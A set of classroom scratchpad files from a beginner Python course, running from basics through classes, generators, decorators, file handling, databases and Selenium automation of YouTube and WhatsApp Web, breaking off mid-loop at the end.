Python daily morning 04-11-2022

Python daily morning 04-11-2022

Scratchpad 1 and scratchpad 2

print("Hello World")

# Snake Case - high_score / player_1_high_score
# Camel Case - highScore / player1HighScore
# Pascal Case - HighScore / Player1HighScore
# Kebab Case - high-score / player-1-high-score


# player_one_score = 10
# player_two_score = 15

# total_scores = player_one_score + player_two_score

# print(total_scores)

score1 = 10
score2 = 20

score3 = score1 / score2  # duck typing

Scratchpad 2

# # print("Amount of US Dollars you want to convert?")
# usd = input("Amount of US Dollars you want to convert? ")
# inr = float(usd) * 82.23
# print(f"${usd} is equal to Rs. {inr}")

# name = "Mark Zuckerberg"

# if name == "Elon Musk":
#     print("Twitter")  # code block
# elif name == "Mark Zuckerberg":
#     print("Meta")
# elif name == "Sundar Pichai":
#     print("Google")
# else:
#     print("Unknown name")

# print("Program completed")


# is_logged_in = True

# if is_logged_in:
#     print("Access granted")
# else:
#     print("Access denied")


# logged_in_user = "alklsmndjkasd"

# if logged_in_user:
#     print("Access granted")
# else:
#     print("Access denied")


# age = int(input("Please enter your age: "))
# # age = int(age)

# if age > 65:
#     print("Drinks are free")
# elif age > 21:
#     print("You can enter and you can drink")
# elif age > 18:
#     print("You can enter but you can't drink")
# else:
#     print("Not allowed")


# age = int(input("Please enter your age: "))
# # age = int(age)

# if age >= 18 and age < 21:
#     print("You can enter but you can't drink")
# elif age >= 21 and age < 65:
#     print("You can enter and you can drink")
# elif age > 65:
#     print("Drinks are free")
# else:
#     print("Not allowed")


# age = input("How old are you? ")

# if age:
#     age = int(age)
#     if age >= 18 and age < 21:
#         print("You can enter but you can't drink")
#     elif age >= 21 and age < 65:
#         print("You can enter and you can drink")
#     elif age > 65:
#         print("Drinks are free")
#     else:
#         print("Not allowed")
# else:
#     print("Please enter your age!")


player1 = input("Enter player 1's choice: ")
player2 = input("Enter player 2's choice: ")

if player1 == player2:
    print("It's a tie")
elif (
    (player1 == "rock" and player2 == "scissors")
    or (player1 == "paper" and player2 == "rock")
    or (player1 == "scissors" and player2 == "paper")
):
    print("Player 1 wins")
elif (
    (player2 == "rock" and player1 == "scissors")
    or (player2 == "paper" and player1 == "rock")
    or (player2 == "scissors" and player1 == "paper")
):
    print("Player 2 wins")
else:
    print("Something went wrong")

Scratchpad #3

# # print("Amount of US Dollars you want to convert?")
# usd = input("Amount of US Dollars you want to convert? ")
# inr = float(usd) * 82.23
# print(f"${usd} is equal to Rs. {inr}")

# name = "Mark Zuckerberg"

# if name == "Elon Musk":
#     print("Twitter")  # code block
# elif name == "Mark Zuckerberg":
#     print("Meta")
# elif name == "Sundar Pichai":
#     print("Google")
# else:
#     print("Unknown name")

# print("Program completed")


# is_logged_in = True

# if is_logged_in:
#     print("Access granted")
# else:
#     print("Access denied")


# logged_in_user = "alklsmndjkasd"

# if logged_in_user:
#     print("Access granted")
# else:
#     print("Access denied")


# age = int(input("Please enter your age: "))
# # age = int(age)

# if age > 65:
#     print("Drinks are free")
# elif age > 21:
#     print("You can enter and you can drink")
# elif age > 18:
#     print("You can enter but you can't drink")
# else:
#     print("Not allowed")


# age = int(input("Please enter your age: "))
# # age = int(age)

# if age >= 18 and age < 21:
#     print("You can enter but you can't drink")
# elif age >= 21 and age < 65:
#     print("You can enter and you can drink")
# elif age > 65:
#     print("Drinks are free")
# else:
#     print("Not allowed")


# age = input("How old are you? ")

# if age:
#     age = int(age)
#     if age >= 18 and age < 21:
#         print("You can enter but you can't drink")
#     elif age >= 21 and age < 65:
#         print("You can enter and you can drink")
#     elif age > 65:
#         print("Drinks are free")
#     else:
#         print("Not allowed")
# else:
#     print("Please enter your age!")


player1 = input("Enter player 1's choice: ")
player2 = input("Enter player 2's choice: ")

if player1 == player2:
    print("It's a tie")
elif (
    (player1 == "rock" and player2 == "scissors")
    or (player1 == "paper" and player2 == "rock")
    or (player1 == "scissors" and player2 == "paper")
):
    print("Player 1 wins")
elif (
    (player2 == "rock" and player1 == "scissors")
    or (player2 == "paper" and player1 == "rock")
    or (player2 == "scissors" and player1 == "paper")
):
    print("Player 2 wins")
else:
    print("Something went wrong")

Scratchpad #4

# char = " "

# for char in "Hello World":
#     print(char, "Hello World")

# for num in range(0, 1000):
#     print(num)


# for num in range(10):
#     print(num)

# for num in range(5, 50):
#     print(num)

# for num in range(0, 101, 10):
#     print(num)

# for num in range(0, -10, -1):
#     print(num)

# for num in range(1, 21):
#     if num == 5 or num == 16:
#         print(f"{num} - FizzBuzz")
#     elif num % 2 == 0:
#         print(f"{num} - Fizz is even")
#     elif num % 2 != 0:
#         print(f"{num} - Fizz is odd")


# password = input("Please enter the secret password: ")

# while password != "testpass123":
#     print("Wrong password")
#     password = input("Please enter the secret password again: ")


# for num in range(10):
#     print(num)

# count = 0
# while count < 10:
#     print(count)
#     count += 1


# count = 0
# while count < 10:
#     print(count)
#     if count == 6:
#         break
#     count += 1


# password = input("Please enter the secret password: ")

# while True:
#     if password == "testpass123":
#         break

#     print("Wrong password")
#     password = input("Please enter the secret password again: ")


while True:
    player1 = input("Enter player 1's choice: ")
    player2 = input("Enter player 2's choice: ")

    if player1 == player2:
        print("It's a tie")
    elif (
        (player1 == "rock" and player2 == "scissors")
        or (player1 == "paper" and player2 == "rock")
        or (player1 == "scissors" and player2 == "paper")
    ):
        print("Player 1 wins")
    elif (
        (player2 == "rock" and player1 == "scissors")
        or (player2 == "paper" and player1 == "rock")
        or (player2 == "scissors" and player1 == "paper")
    ):
        print("Player 2 wins")
    else:
        print("Something went wrong")

    play_again = input("Do you want to play again? (y/n): ")
    if play_again != "y":
        break

Scratchpad #5

# langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]

# # for lang in langs:
# #     print(lang)

# count = 0
# while count < len(langs):
#     print(langs[count])
#     count += 1


langs = [
    "Haskell",
    "JavaScript",
    "Perl",
    "Python",
    "Python",
    "Python",
    "Ruby",
    "Rust",
    "V",
]

count = 0

while count < len(langs):
    print(langs[count])
    count += 2


# count = len(langs) - 1

# while count >= 0:
#     print(langs[count])
#     count -= 2

Scratchpad #6

# nums = [1, 2, 3, 4, 5, 6]

# doubles = []
# for num in nums:
#     doubles.append(num * 2)

# # print(doubles)

# doubles = [num * 2 for num in nums]
# # print(doubles)


# names = ["john", "jack", "jane", "jill"]
# upper_names = [name.upper() for name in names]
# print(names)
# print(upper_names)


# numbers = [1, 2, 3, 4, 5, 6]

# evens = [num for num in numbers if num % 2 == 0]

# print(evens)


# names = ["john", "johnny", "jimmy", "jill"]
# selected = [name for name in names if len(name) < 5]

# selected = []
# for name in names:
#     if len(name) < 5:
#         selected.append(name)

# print(selected)


names = ["john", "johnny", "jimmy", "jill"]

# new_names = [name for name in names if len(name) < 5]
# new_names = [name.upper() if len(name) < 5 else name for name in names]
# print(new_names)

# new_names = []

# for name in names:
#     if len(name) < 5:
#         new_names.append(name.upper())
#     else:
#         new_names.append(name)

# print(new_names)


# message = "Hello Python!"

nl = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12]]


for lst in nl:  # [4, 5, 6]
    for num in lst:  # 3
        print(num)


nl = [
    [[1, 2, 3], [1, 2, 3, 5], [1, 2, 3]],
    [[1, 2, 3], [1, 2, 3, 2, 234, 324], [1, 2, 3]],
    [[1, 2, 3], [1, 2, 3], [1, 2, 3]],
]

Scratchpad #7

# nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]


# products = [
#     [
#         "iPhone 14 Pro Max",
#         "Apple",
#         "Some description...",
#         150000,
#         250,
#         True,
#         "electronics",
#     ],
#     [
#         "iPhone 14 Pro Max",
#         "Apple",
#         "Some description...",
#         150000,
#         250,
#         True,
#         "electronics",
#     ],
#     [
#         "iPhone 14 Pro Max",
#         "Apple",
#         "Some description...",
#         150000,
#         250,
#         True,
#         "electronics",
#     ],
# ]

# product1 = [
#     "iPhone 14 Pro Max",
#     "Apple",
#     "Some description...",
#     250,
#     150000,
#     True,
#     "electronics",
# ]

# print(product1[3])

# product2 = [
#     "One Plus Nord",
#     "One Plus",
#     "Some description...",
#     60000,
#     1000,
#     True,
#     "electronics",
# ]


# product1 = {
#     "name": "iPhone 14 Pro Max",
#     "brand": "Apple",
#     "description": "Some description...",
#     "in_stock": 250,
#     "discounted": True,
#     "category": ["electronics", "consumer", "something else"],
#     "price": 150000,
#     1000: "Hello World",
#     "other": {"hello": "world", "test": "text"},
# }

# product2 = dict(name="Nord", brand="One Plus", price=20000)

# print(product2)


book = {
    "name": "The theory of everything",
    "author": "Stephen Hawking",
    "pages": 140,
    "language": "English",
    "in_stock": True,
}

# for value in book.values():
#     print(value)

# for key in book.keys():
#     print(key)

# for item in book.items():
#     print(item)

# for key, value in book.items():
#     print(key, value)


# for key in book:
#     print(key, book[key])

Scratchpad #8

# # def greet():
# #     print("Hello World")
# #     print("Hello Again")


# # greet()
# # greet()
# # greet()


# # def square_of_7():
# #     result = 7**2
# #     return result


# # result = square_of_7()
# # print(result)


# # from random import random


# # def coin_flip():
# #     if random() > 0.5:
# #         print("HEADS")
# #     else:
# #         print("TAILS")


# # coin_flip()


# # def add(num1, num2):
# #     return num1 + num2


# # print(add(10, 23))


# # from random import random


# # def coin_flip():
# #     if random() > 0.5:
# #         print("HEADS")
# #     else:
# #         print("TAILS")


# # def flip(times):
# #     for _ in range(times):
# #         coin_flip()


# # flip(10)


# # def sum_odd_numbers(numbers):
# #     total = 0
# #     for num in numbers:
# #         if num % 2 != 0:
# #             total += num
# #     return total


# # print(sum_odd_numbers([1, 2, 3, 4, 5, 6]))


# # def is_odd_number(number):
# #     if number % 2 != 0:
# #         return True
# #     return False


# # print(is_odd_number(5))


# # def exponent(num=2, power=1):
# #     return num**power


# # print(exponent(5, 4))


# def add(a, b):
#     return a + b


# def mul(a, b):
#     return a * b


# def math(a, b, fn=add):
#     return fn(a, b)


# print(math(10, 20))

# # print(add(10, 4))
# # print(mul(10, 4))


# def full_name(first="Jane", last="Smith"):
#     return "Your name is " + first + " " + last + "."


# print(full_name(last="Doe", first="John"))
# print(full_name("john"))


# full_name = "John Doe"


# def greet():
#     full_name = "Jane Doe"
#     print(full_name)


# # greet()
# print(full_name)


# total = 0


# def static():
#     global total
#     total += 1
#     return total


# print(static())


def outer():
    count = 0

    def inner():
        nonlocal count
        count += 1
        return count

    return inner()


print(outer())

Scratchpad #9

# # # def greet(message, person):
# # #     """
# # #     This function accepts a message and a name.
# # #     @params
# # #     message: str - Message your want to print
# # #     person: str - Name of the person
# # #     """
# # #     return f"{message}, {person}"


# # # # print(greet("Hello, how are you", "John Doe"))

# # # # print(greet.__doc__)
# # # print(print.__doc__)


# # # total = 10


# # # def change(num):
# # #     num += 1
# # #     return num


# # # total = change(num=total)
# # # print(total)


# # def add(*nums):
# #     total = 0
# #     for num in nums:
# #         total += num
# #     return total


# # print(
# #     add(
# #         10,
# #         20,
# #         12,
# #         123,
# #     )
# # )


# # def profile(**details):
# #     print(
# #         f"My name is {details['first_name']} {details['last_name']} and I am {details['age']} years old"
# #     )


# # profile(first_name="John", last_name="Doe", age=25)


# # def show_info(num1, num2, *nums, role="admin", **details):
# #     print(num1, num2, nums, role, details)


# # show_info(1, 2, 3, 4, role="moderator", hello="world", fav_num=10)


# # def add_all_values(*args):
# #     total = 0
# #     for num in args:
# #         total += num
# #     print(total)


# # data = [10, 23, 45, 6, 32]

# # add_all_values(*data)


# def say_name(first, last):
#     print(f"My name is {first} {last}.")


# data = {"first": "John", "last": "Doe"}

# # say_name(data["first"], data["last"])
# say_name(**data)


# def add(a, b):
#     return a + b


# hello_world = add

# print(hello_world(10, 20))


def math(a, b, fn):
    return fn(a, b)


# def add(a, b):
#     return a + b
# def sub(a, b):
#     return a - b
# print(math(10, 5, sub))

# print(math(10, 5, lambda a, b: a * b))
# print(math(10, 5, lambda a, b: a / b))


# def add(a, b):
#     return a + b


# add2 = lambda a, b: a + b

# print(add2(10, 34))


# nums = [1, 2, 3, 4, 5, 6]

# doubles = [num * 2 for num in nums]
# print(doubles)

# doubles2 = list(map(lambda num: num * 2, nums))
# print(doubles2)


# nums = [1, 2, 3, 4, 5, 6]

# evens = [num for num in nums if num % 2 == 0]
# odds = list(filter(lambda num: num % 2 == 1, nums))

# print(evens)
# print(odds)


names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]

print(
    list(
        map(
            lambda name: f"The one who wins is {name}",
            filter(lambda name: len(name) < 5, names),
        )
    )
)

Scratchpad 10

# import random

# SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# RANK_TUPLE = (
#     "Ace",
#     "2",
#     "3",
#     "4",
#     "5",
#     "6",
#     "7",
#     "8",
#     "9",
#     "10",
#     "Jack",
#     "Queen",
#     "King",
# )

# NCARDS = 8


# def get_card(deck_list_in):
#     this_card = deck_list_in.pop()
#     return this_card


# def shuffle(deck_list_in):
#     deck_list_out = deck_list_in.copy()
#     random.shuffle(deck_list_out)
#     return deck_list_out


# print("Welcome to higher or lower.")
# print(
#     "You have to choose whether the next card to be shown will be higher or lower than the current card."
# )
# print("Getting it right adds 20 points; get it wrong and you will lose 15 points.")
# print("You have 50 points to start.")
# print()

# starting_deck_list = []
# for suit in SUIT_TUPLE:
#     for this_value, rank in enumerate(RANK_TUPLE):
#         card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
#         starting_deck_list.append(card_dict)

# score = 50

# while True:
#     game_deck_list = shuffle(starting_deck_list)
#     current_card_dict = get_card(game_deck_list)
#     current_card_rank = current_card_dict["rank"]
#     current_card_value = current_card_dict["value"]
#     current_card_suit = current_card_dict["suit"]
#     print(f"Starting card is {current_card_rank} of {current_card_suit}")
#     print()

#     for card_number in range(0, NCARDS):
#         answer = input(
#             f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
#         )
#         answer = answer.casefold()
#         next_card_dict = get_card(game_deck_list)
#         next_card_rank = next_card_dict["rank"]
#         next_card_suit = next_card_dict["suit"]
#         next_card_value = next_card_dict["value"]
#         print(f"Next card is {next_card_rank} of {next_card_suit}")

#         if answer == "h":
#             if next_card_value > current_card_value:
#                 print("You got it right, it was higher")
#                 score += 20
#             else:
#                 print("Sorry, it was not higher")
#                 score -= 15
#         elif answer == "l":
#             if next_card_value < current_card_value:
#                 print("You got it right, it was lower")
#                 score += 20
#             else:
#                 print("Sorry, it was not lower")
#                 score -= 15

#         print(f"Your score is {score}")
#         print()
#         current_card_rank = next_card_rank
#         current_card_value = next_card_value

#     go_again = input("To play again, press ENTER, or 'q' to quit: ")
#     if go_again == "q":
#         break

# print("Thank you for playing")


person = [["name", "john"], ["job", "programmer"], ["city", "mumbai"]]

personDetails = {}

for lst in person:
    personDetails[lst[0]] = lst[1]

print(personDetails)

Scratchpad #11

# def div(a, b):
#     if type(a) != int or type(b) != int:
#         raise TypeError("a and b need to be integers")
#     return a / b


# print(div(10, "hello"))


# print("Hello World!")
# raise Exception("Something went wrong")
# print("Goodbye World")


# def div(a, b):
#     try:
#         return a / b
#     except:
#         return "Something went wrong"


# def div(a, b):
#     try:
#         return a / b
#     except (TypeError, ZeroDivisionError):
#         return "Something went wrong"


# def div(a, b):
#     try:
#         result = a / b
#     except (TypeError, ZeroDivisionError) as err:
#         return f"Something went wrong. {err}"
#     else:
#         # MORE LOGIC
#         return result
#     finally:
#         print("I will always run!")


# print(div(10, 2))


# import random as r


# def random():
#     print("Hello World")


# print(r.random())
# print(r.randint(10, 100))


from random import randint as ri, random, shuffle

# from random import *

print(ri(1, 100))
print(random())

Scratchpad #12

# message = "Hello World"

# def append():
#     pass

# append()

# class User:
#     def append():
#         pass


# jane = User()
# jane.append
# message = "Hello World"

# print(type(jane))
# print(type(message))


def Person(first_name, last_name, email):
    first_name = first_name
    last_name = last_name
    email = email

    def greet():
        print("Hello World")

    return {
        "first_name": first_name,
        "last_name": last_name,
        "email": email,
        "greet": greet,
    }


class User:
    # Constructor
    def __init__(self, first_name, last_name, email):
        self.first_name = first_name
        self.last_name = last_name
        self.email = email

    def greet(self):
        print("Hello World")


john = User("John", "Doe", "john@example.com")
jane = Person("Jane", "Doe", "jane@example.com")

print(john.first_name)
print(john.last_name)
print(john.email)
john.greet()
print(jane["first_name"])
print(jane["last_name"])
print(jane["email"])
jane["greet"]()

Scratchpad #13

class Customer:
    bank_name = "ABC Bank"
    total_customer_count = 0

    def __init__(self, first_name, last_name, email):
        self.first_name = first_name
        self.last_name = last_name
        self.email = email
        self.country = "India"
        self._balance = 0
        Customer.total_customer_count += 1

    def __repr__(self):
        return f"{self.first_name} {self.last_name}"

    @classmethod
    def get_customer_count(cls):
        return cls.total_customer_count

    def get_balance(self):
        print("Balance was checked")
        return self._balance

    def set_balance(self, new_balance):
        self._balance = new_balance
        print(f"Your balance has been updated")
        return self._balance


cus1 = Customer("John", "Doe", "john@example.com")
cus2 = Customer("Jane", "Smith", "jane@example.com")
cus3 = Customer("Jane", "Smith", "jane@example.com")

print(cus1)
print(cus2)
print(cus3)

# print(Customer.get_customer_count())
# print(Customer.get_balance())

# cus2.set_balance(1000)
# print(cus2.get_balance())
# print(cus1.bank_name)
# print(cus2.bank_name)
# print(Customer.total_customer_count)

# # print(cus1._Customer__balance)
# print(cus1.check_balance())
# cus2.country = "UK"
# cus1.last_name = "Roe"
# print(cus2.country)
# print(cus1.last_name)


langs = [
    "Haskell",
    "JavaScript",
    "Perl",
    "Python",
    "Python",
    "Python",
    "Ruby",
    "Rust",
    "V",
]

count = 0

while count < len(langs):
    print(langs[count])
    count += 2

Scratchpad #14

# class User:  # base class or parent class
#     active_users = 0

#     def __init__(self, first_name, last_name, email, password):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.email = email
#         self.password = password
#         self._balance = 0

#     def __repr__(self):
#         return self.first_name

#     def login(self, password):
#         if password == self.password:
#             print(f"{self.email} has successfully logged in")
#             User.active_users += 1
#             return True
#         return False

#     def logout(self):
#         User.active_users -= 1
#         print(f"{self.email} has successfully logged out")
#         return True

#     @property
#     def balance(self):
#         print(f"Your current balance is Rs. {self._balance}.")
#         return self._balance

#     @balance.setter
#     def balance(self, amount):
#         self._balance = amount
#         print(f"Your new balance is Rs. {self._balance}")
#         return self._balance

#     # def get_balance(self):
#     #     print(f"Your current balance is Rs. {self._balance}.")
#     #     return self._balance

#     # def set_balance(self, amount):
#     #     self._balance = amount
#     #     print(f"Your new balance is Rs. {self._balance}")
#     #     return self._balance


# class Admin(User):  # subclass or child class
#     groups = []

#     def __init__(self, first_name, last_name, email, password, phone):
#         super().__init__(first_name, last_name, email, password)
#         self.phone = phone

#     def create_group(self, group_details):
#         Admin.groups.append(group_details)


# user1 = User("John", "Doe", "john@example.com", "123456")
# user2 = User("Jane", "Smith", "jane@example.com", "123456")

# user3 = Admin("Jack", "Smith", "jack@example.com", "123456", "+91 9876654321")
# user3.create_group({"name": "Python group", "description": "Some description"})
# # user2.login("123456")
# # user3.login("123456")
# # print(Admin.groups)

# # user3._balance = 1000
# # print(user3._balance)
# # user3.set_balance(2500)
# # user3.get_balance()

# # user3.balance = 1000
# # print(user3.balance)

# print(user3.phone)


class Human:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __repr__(self):
        return self.name

    def __len__(self):
        return self.age

    def __add__(self, other_human):
        return Human("new born", 0)

    def greet(self):
        print("Hello World")


class Animal:
    def __init__(self, name):
        self.name = name

    def greet(self):
        print("ajksndikljasndkljasd")


class Mutant(Animal, Human):
    def greet(self):
        print("Hello ajksndjkansdjik")


t1 = Human("John", 20)
t2 = Human("Jane", 22)
print(t1 + t2)

# t2 = Animal("Jack")
# t3 = Mutant("Wolverine")

# t1.greet()
# t2.greet()
# t3.greet()


a = [1, 2, 3, 4]

for num in a:
    print(num)



# for num = next(ia) in ia = iter(a):
#     print(num)

Scratchpad #15

# names = ["john", "jack", "jane", "jill", "james"]


# # def my_for(iterable):
# #     iterator = iter(iterable)

# #     while True:
# #         try:
# #             print(next(iterator))
# #         except StopIteration:
# #             break


# # my_for(names)


# class Counter:
#     def __init__(self, start, end, step=1):
#         self.start = start
#         self.end = end
#         self.step = step

#     def __iter__(self):
#         return self

#     def __next__(self):
#         if self.start < self.end:
#             num = self.start
#             self.start += self.step
#             return num
#         else:
#             raise StopIteration


# for num in Counter(0, 50, 5):
#     print(num)


# # r = range(0, 10)
# # c = Counter(0, 10)

# # iter_c = iter(c)
# # next(iter_c)


# def count(start, end, step=1):
#     count = start
#     while count <= end:
#         yield count
#         count += step


# val = count(0, 100, 5)

# for num in val:
#     print(num)

# nums = [1, 1, 2]
# a = 2
# b = 3


# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(b)
#         a, b = b, a + b
#     return nums


# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1


# # print(fib_list(1000000))
# # print(fib_gen(100000000000000000000000000000000000000000))
# res = fib_gen(100000000000000000000000000000000000000000)

# for num in res:
#     print(num)

import time

gen_start_time = time.time()
print(sum(num for num in range(100000000)))
gen_stop_time = time.time() - gen_start_time

list_start_time = time.time()
print(sum([num for num in range(100000000)]))
list_stop_time = time.time() - list_start_time

print(f"Generator total time: {gen_stop_time}")
print(f"List Comprehension total time: {list_stop_time}")

Scratchpad #16

# def math(a, b, fn):
#     return fn(a, b)


# def sub(a, b):
#     return a - b


# print(math(10, 5, lambda a, b: a + b))
# print(math(10, 5, sub))


# def sum(n, func):
#     total = 0
#     for num in range(1, n + 1):
#         total += func(num)
#     return total


# def square(n):
#     return n * n


# def cube(n):
#     return n * n * n


# print(sum(10, cube))

import random


# def greet(person):
#     def get_mood():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return msg

#     result = f"{get_mood()}, {person}"
#     return result


# print(greet("Jane"))
# print(greet("John"))


# def make_greet_func(person):
#     def make_message():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return f"{msg} {person}"

#     return make_message


# greet_john = make_greet_func("John")
# print(greet_john())


def stars(fn):
    def wrapper():
        print(""*" * 10")
        fn()
        print("*" * 10)

    return wrapper


@stars  # say_hello = stars(say_hello)
def say_hello():
    print("Hello World")


# say_hello = stars(say_hello)
say_hello()

# say_hello()

Scratchpad #17

# # def stars(fn):
# #     def wrapper():
# #         print("*" * 10)
# #         fn()
# #         print("*" * 10)

# #     return wrapper


# # @stars
# # def say_hello():
# #     print("Hello World")


# # # say_hello = stars(say_hello)

# # say_hello()

# # from functools import wraps


# # def make_upper_case(fn):
# #     """Decorator that uppercases the returned string"""

# #     @wraps(fn)
# #     def wrapper(*args, **kwargs):
# #         """Wrapper function that will be returned by this decorator"""
# #         return fn(*args, **kwargs).upper()

# #     return wrapper


# # @make_upper_case
# # def say_hello():
# #     """Function that says hello to the world"""
# #     return "Hello World"


# # @make_upper_case  # greet = wrapper(person)
# # def greet(person):
# #     """Function that says hello to some person with a name"""
# #     return f"Hello, {person}"


# # @make_upper_case
# # def say_whatever(message, person):
# #     """Function that says whatever you want to whoever you want"""
# #     return f"{message}, {person}."


# # # print(say_hello())
# # # print(greet("John"))
# # # print(say_whatever("Hello", "John"))

# # print(say_hello.__doc__)
# # print(greet.__doc__)
# # print(say_whatever.__doc__)
# # print(say_hello.__name__)
# # print(greet.__name__)
# # print(say_whatever.__name__)

# # from functools import wraps


# # def make_upper_case(fn):
# #     """Decorator that uppercases the returned string"""

# #     @wraps(fn) # wrapper = wraps(fn)(wrapper)
# #     def wrapper(*args, **kwargs):
# #         """Wrapper function that will be returned by this decorator"""
# #         return fn(*args, **kwargs).upper()

# #     return wrapper

# # enforce(str, int, bool)


# # types = str, int
# # args = msg, times
# # [(msg, str), (times, int)]   ---> str(msg), int(times)
# def enforce(*types):
#     def inner(fn):
#         def wrapper(*args, **kwargs):
#             new_args = []  # ['10000', 3]
#             for a, t in zip(args, types):
#                 try:
#                     new_args.append(t(a))
#                 except (ValueError, TypeError):
#                     print("Something went wrong")
#             return fn(*new_args)

#         return wrapper

#     return inner


# @enforce(str, int)  # announce = enforce(str, int)(announce)
# def announce(msg, times):
#     print(f"{msg} \n" * times)


# # message = input("Please enter a message: ")
# # count = input("How many times do you want the message to be displayed: ")
# # announce(message, count)


# announce(10000, "three")


# Bank
# methods
#

# Customer
# self.balance
# methods
# deposit(amount)
# withdraw(amount) -> if sufficient balance -> raise
# check_balance()
# edit_email()
# edit_name()
# edit -> for all attributes


# john = Customer(...)
# john.deposit(100)

Scratchpad #18

# file = open("./hello.txt")
# # print(file)
# print(file.read())
# file.close()
# print(file.closed)

# with open("./hello.txt", "r") as file:
#     print(file.read())
#     print(file.closed)


# print(file.closed)
# print(file.read())

# with open("./hello.txt", "w") as file:
#     file.write("Hello World\n")
#     file.write("Some other content\n")

# with open("./hello_world.txt", "w") as file:
#     file.write("Hello World " * 100)

# with open("./hello.txt", "a") as file:
#     file.write("Hello Universe\n")
#     file.write("*" * 80)
#     file.write("\n")


# with open("./hello.txt", "r+") as file:
#     file.seek(0)
#     file.write("---This is some sample text---")


# with open("./hello.txt") as file:
#     data = file.read()
#     data = data.replace("Universe", "World")
#     with open("./hello.txt", "w") as f:
#         f.write(data)

# from csv import reader, DictReader

# with open("./data.csv") as file:
#     csv_reader = reader(file)
#     for row in csv_reader:
#         print(row)

# with open("./data.csv") as file:
#     csv_reader = DictReader(file)
#     for row in csv_reader:
#         print(row)


from csv import writer, DictWriter

# with open("./data2.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(["Name", "Type"])
#     csv_writer.writerow(["Pikachu", "Electric"])
#     csv_writer.writerow(["Balbasaur", "Grass"])

with open("./data2.csv", "w", newline="") as file:
    headers = ["Name", "Type", "Abilities"]
    csv_writer = DictWriter(file, fieldnames=headers)
    csv_writer.writeheader()
    csv_writer.writerow(
        {"Name": "Pikachu", "Type": "Electric", "Abilities": "Thundershock"}
    )

Scratchpad #19

# import pickle


class User:
    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self.age = age

    def __repr__(self):
        return f"{self.first_name} {self.last_name}"

    def greet(self):
        return f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old"


# # user1 = User("John", "Doe", 20)
# # user2 = User("Jane", "Smith", 25)

# # print(user2.greet())
# # print(user1)

# # with open("users.pickle", "wb") as file:
# #     pickle.dump((user1, user2), file)


# with open("users.pickle", "rb") as file:
#     restored_data = pickle.load(file)
#     user1 = restored_data[0]
#     user2 = restored_data[1]

#     print(user2.greet())

import json
import jsonpickle


# user1 = User("John", "Doe", 20)
# user2 = User("Jane", "Smith", 25)

# print(json.dumps(user1.__dict__))

# with open("users_data.json", "w") as file:
#     data = jsonpickle.encode((user1, user2))
#     file.write(data)

with open("users_data.json") as file:
    data = file.read()
    restored_data = jsonpickle.decode(data)
    user1 = restored_data[0]
    user2 = restored_data[1]

    print(user1.greet())

Scratchpad #20

# # import sqlite3

# # single_data = ["John", "Doe", 25]
# # data = [
# #     ["Jack", "Smith", 34],
# #     ["James", "Roe", 37],
# #     ["Jill", "Doe", 19],
# #     ["Jane", "Smith", 40],
# # ]

# # conn = sqlite3.connect("bank.db")
# # c = conn.cursor()

# # # c.execute("CREATE TABLE customers (first_name TEXT, last_name TEXT, age INTEGER);")
# # # c.execute(
# # #     "INSERT INTO customers (first_name, last_name, age) VALUES ('Joe', 'Roe', 30)"
# # # )

# # query = """INSERT INTO customers VALUES (?, ?, ?)"""
# # # c.execute(query, single_data)

# # # for item in data:
# # #     print(f"Writing {item[0]} {item[1]} to database...")
# # #     c.execute(query, item)
# # #     print("Finished\n")

# # c.executemany(query, data)

# # conn.commit()
# # conn.close()

# from pymongo import MongoClient

# client = MongoClient("mongodb://127.0.0.1:27017")

# db = client.bankapp
# coll = db["customers"]

# user = {"first_name": "John", "last_name": "Doe", "age": 20}
# users = [
#     {"first_name": "Jane", "last_name": "Doe", "age": 24},
#     {"first_name": "Jack", "last_name": "Ma", "age": 30},
#     {"first_name": "Jill", "last_name": "Roe", "age": 37},
#     {"first_name": "James", "last_name": "Marr", "age": 43},
# ]

# # coll.insert_one(user)
# # coll.insert_many(users)

# search_result = coll.find({"last_name": "Doe"})
# print(list(search_result))

# -------------- SELENIUM ---------------

from time import sleep
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By

browser = webdriver.Chrome("chromedriver.exe")
browser.maximize_window()

# browser.get("https://www.youtube.com/")
# sleep(3)

# search_box = browser.find_element(
#     By.XPATH,
#     "/html/body/ytd-app/div[1]/div/ytd-masthead/div[3]/div[2]/ytd-searchbox/form/div[1]/div[1]/input",
# )
# sleep(1)
# search_box.click()
# search_box.send_keys("avatar 2 trailer", Keys.ENTER)
# sleep(3)

# video = browser.find_element(By.PARTIAL_LINK_TEXT, "New Trailer")
# sleep(1)
# video.click()

# # video = browser.find_element(
# #     By.XPATH,
# #     "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div[2]/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string",
# # )
# # sleep(1)
# # video.click()

# sleep(20)

# -----------------------------------------------

# browser.get("https://web.whatsapp.com/")
# sleep(30)

# search_box = browser.find_element(
#     By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[2]"
# )
# sleep(1)
# search_box.click()
# search_box.send_keys("PYTHON Morning RS 4/11/22", Keys.ENTER)
# sleep(2)


# for i in range(20):
#     message_box = browser.find_element(
#         By.XPATH,
